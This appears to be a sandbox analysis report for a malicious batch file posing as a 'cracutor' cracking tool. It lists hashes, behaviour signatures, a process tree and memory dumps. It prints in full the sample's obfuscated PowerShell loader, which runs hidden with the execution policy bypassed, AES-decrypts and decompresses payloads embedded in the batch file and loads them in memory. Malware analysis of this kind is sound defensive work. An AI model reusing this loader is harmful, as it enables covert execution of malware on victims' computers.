108a8547e28be119cf8aaabc2b44e117e599a69297f9e186ab7635dec6e27b04

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
25-05-2024 19:25

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General

Target

cracutor1.0/cracutor (1)/RuntimeBroker.bat
Size

1.4MB
MD5

5f2ca709edfb4aab62c0d293fc078a8d
SHA1

e0ee77775465e261c7e0f48643c6d66af21841c2
SHA256

5edd619490ce715b05fa88acb9865fa2c290949483b5813f70083d4480e4bf05
SHA512

833edd2aadcd390eeb9e264bdcbb790fa013b3141a5e092ed4f23b819903f6fce0edd68e337dd8801bc3529b80521b2aeddf06f245a6df37d1a3b2af97d41eaf
SSDEEP

24576:Jo2hIxM0iKuWJzW21FPYEbTT9bLZfSRAHRtaBLmc2ZlzLMLM1XwXuV:s++iu3b15f7t4l0LMLM0uV

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1200 powershell.exe
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2112 cmd.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1200 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1200 powershell.exe

pid	process
1200	powershell.exe

pid	process
2112	cmd.exe

pid	process
1200	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1200	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2112 wrote to memory of 1200	2112	cmd.exe	powershell.exe
PID 2112 wrote to memory of 1200	2112	cmd.exe	powershell.exe
PID 2112 wrote to memory of 1200	2112	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\cracutor1.0\cracutor (1)\RuntimeBroker.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2112

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bGqAVpTkbyYHaVSHHBPmXa3kZNv3H8sCS4IjMuFm+Ow='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BbGL3tLWlvORK8IKqoYaHg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SERoH=New-Object System.IO.MemoryStream(,$param_var); $uVeFk=New-Object System.IO.MemoryStream; $zXgAh=New-Object System.IO.Compression.GZipStream($SERoH, [IO.Compression.CompressionMode]::Decompress); $zXgAh.CopyTo($uVeFk); $zXgAh.Dispose(); $SERoH.Dispose(); $uVeFk.Dispose(); $uVeFk.ToArray();}function execute_function($param_var,$param2_var){ $REYPt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Drhro=$REYPt.EntryPoint; $Drhro.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\cracutor1.0\cracutor (1)\RuntimeBroker.bat';$mZiIG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\cracutor1.0\cracutor (1)\RuntimeBroker.bat').Split([Environment]::NewLine);foreach ($dACJS in $mZiIG) { if ($dACJS.StartsWith(':: ')) { $tZasG=$dACJS.Substring(3); break; }}$payloads_var=[string[]]$tZasG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1200

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1200-4-0x000007FEF5CEE000-0x000007FEF5CEF000-memory.dmp

Filesize
4KB

Download
memory/1200-5-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/1200-9-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download
memory/1200-8-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download
memory/1200-7-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download
memory/1200-10-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download
memory/1200-6-0x0000000000300000-0x0000000000308000-memory.dmp

Filesize
32KB

Download
memory/1200-11-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download
memory/1200-12-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download